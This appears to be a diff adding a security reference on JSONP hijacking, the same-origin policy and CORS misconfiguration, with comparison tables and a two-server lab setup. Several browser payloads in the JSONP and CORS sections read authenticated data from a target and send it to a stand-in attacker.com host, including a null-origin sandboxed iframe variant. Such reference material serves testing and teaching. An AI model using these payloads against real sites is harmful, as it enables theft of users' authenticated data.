|
+
<script>
|
|
16
|
+
function stolen(data) {
|
|
17
|
+
// data contains victim's sensitive information
|
|
18
|
+
fetch('https://attacker.com/collect', {
|
|
19
|
+
method: 'POST',
|
|
20
|
+
body: JSON.stringify(data)
|
|
21
|
+
});
|
|
22
|
+
}
|
|
23
|
+
</script>
|
|
24
|
+
<script src="https://target.com/api/userinfo?callback=stolen"></script>
|
|
25
|
+
<!-- Victim's browser sends cookies → authenticated request → JSONP returns stolen({"name":"victim","email":"..."}) -->
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
### Watering Hole Attack via JSONP
|
|
29
|
+
|
|
30
|
+
```text
|
|
31
|
+
1. Attacker compromises or creates a popular website (watering hole)
|
|
32
|
+
2. Embeds JSONP requests to target sites:
|
|
33
|
+
<script src="https://social-site.com/api/profile?callback=exfil"></script>
|
|
34
|
+
<script src="https://bank-site.com/api/account?callback=exfil"></script>
|
|
35
|
+
3. When victim visits the watering hole:
|
|
36
|
+
→ Browser sends authenticated requests to social-site and bank-site
|
|
37
|
+
→ JSONP responses contain victim's data
|
|
38
|
+
→ exfil() function sends data to attacker
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### Honeypot De-Anonymization via JSONP
|
|
42
|
+
|
|
43
|
+
Security teams use JSONP to identify anonymous visitors:
|
|
44
|
+
|
|
45
|
+
```html
|
|
46
|
+
<!-- Honeypot page includes JSONP from social platforms: -->
|
|
47
|
+
<script src="https://weibo.com/api/user?callback=identify"></script>
|
|
48
|
+
<script src="https://github.com/api/user?callback=identify"></script>
|
|
49
|
+
<!-- If visitor is logged in → JSONP returns their profile → de-anonymized -->
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## 2. Same-Origin Policy — Deep Dive
|
|
55
|
+
|
|
56
|
+
### Definition
|
|
57
|
+
|
|
58
|
+
Two URLs have the same origin if and only if protocol, hostname, and port all match:
|
|
59
|
+
|
|
60
|
+
| URL A | URL B | Same Origin? | Reason |
|
|
61
|
+
|---|---|---|---|
|
|
62
|
+
| `http://a.com/p1` | `http://a.com/p2` | YES | Same protocol, host, port |
|
|
63
|
+
| `http://a.com` | `https://a.com` | NO | Different protocol |
|
|
64
|
+
| `http://a.com` | `http://b.com` | NO | Different hostname |
|
|
65
|
+
| `http://a.com` | `http://a.com:8080` | NO | Different port |
|
|
66
|
+
| `http://a.com` | `http://sub.a.com` | NO | Different hostname |
|
|
67
|
+
|
|
68
|
+
### document.domain Relaxation
|
|
69
|
+
|
|
70
|
+
Both pages can set `document.domain = "a.com"` to enable cross-subdomain communication:
|
|
71
|
+
|
|
72
|
+
```javascript
|
|
73
|
+
// On sub1.a.com:
|
|
74
|
+
document.domain = "a.com";
|
|
75
|
+
// On sub2.a.com:
|
|
76
|
+
document.domain = "a.com";
|
|
77
|
+
// Now they can access each other's DOM
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
**Security risk**: if any subdomain has XSS, it can set `document.domain` and access all other subdomains that do the same.
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## 3. CORS vs JSONP — Technical Comparison
|
|
85
|
+
|
|
86
|
+
| Aspect | JSONP | CORS |
|
|
87
|
+
|---|---|---|
|
|
88
|
+
| Mechanism | `<script>` tag, callback function | `Access-Control-Allow-Origin` header |
|
|
89
|
+
| HTTP methods | GET only | Any method (with preflight for non-simple) |
|
|
90
|
+
| Data format | Wrapped in function call | Native JSON/XML/etc. |
|
|
91
|
+
| Error handling | No (script either loads or fails) | Yes (fetch API catches errors) |
|
|
92
|
+
| Security control | Referer/callback validation | Origin header + server whitelist |
|
|
93
|
+
| Browser support | All (legacy) | Modern (IE10+) |
|
|
94
|
+
| Credential handling | Always sends cookies | Only with `credentials: include` + server allow |
|
|
95
|
+
|
|
96
|
+
**Migration path**: replace JSONP endpoints with proper CORS configuration.
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## 4. CORS Exploitation Payloads
|
|
101
|
+
|
|
102
|
+
### Read Authenticated Data (reflected origin)
|
|
103
|
+
|
|
104
|
+
```javascript
|
|
105
|
+
// If server reflects any Origin in Access-Control-Allow-Origin:
|
|
106
|
+
fetch('https://target.com/api/sensitive-data', {
|
|
107
|
+
credentials: 'include' // sends cookies
|
|
108
|
+
})
|
|
109
|
+
.then(r => r.json())
|
|
110
|
+
.then(data => {
|
|
111
|
+
// Exfiltrate:
|
|
112
|
+
fetch('https://attacker.com/collect', {
|
|
113
|
+
method: 'POST',
|
|
114
|
+
body: JSON.stringify(data)
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
### Null Origin Exploit (sandbox)
|
|
120
|
+
|
|
121
|
+
```html
|
|
122
|
+
<!-- Create null origin via sandboxed iframe: -->
|
|
123
|
+
<iframe sandbox="allow-scripts allow-forms" srcdoc="
|
|
124
|
+
<script>
|
|
125
|
+
fetch('https://target.com/api/data', {credentials:'include'})
|
|
126
|
+
.then(r=>r.text())
|
|
127
|
+
.then(d=>fetch('https://attacker.com/c?d='+btoa(d)));
|
|
128
|
+
</script>
|
|
129
|
+
"></iframe>
|
|
130
|
+
<!-- Origin header sent as: null -->
|
|
131
|
+
<!-- If server allows Access-Control-Allow-Origin: null → exploitable -->
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
---
|
|
135
|
+
|
|
136
|
+
## 5. Dual-Site Attack Lab Pattern
|
|
137
|
+
|
|
138
|
+
Testing JSONP hijacking or CORS with two local servers:
|
|
139
|
+
|
|
140
|
+
```text
|
|
141
|
+
Server A (target): localhost:8981 — login page, authenticated API with JSONP
|
|
142
|
+
Server B (attacker): localhost:8982 — hosts attack page with JSONP/CORS exploit
|
|
143
|
+
|
|
144
|
+
Attack flow:
|
|
145
|
+
1. Victim logs into Server A (gets session cookie)
|
|
146
|
+
2. Victim visits Server B (attacker page)
|
|
147
|
+
3. Server B's page includes <script src="http://localhost:8981/api/userinfo?callback=steal">
|
|
148
|
+
4. Browser sends Server A's cookies → authenticated JSONP response
|
|
149
|
+
5. steal() function on Server B captures the data
|
|
150
|
+
|
|
151
|
+
Note: for non-localhost testing, change the attack page's target URLs accordingly.
|
|
152
|
+
```
|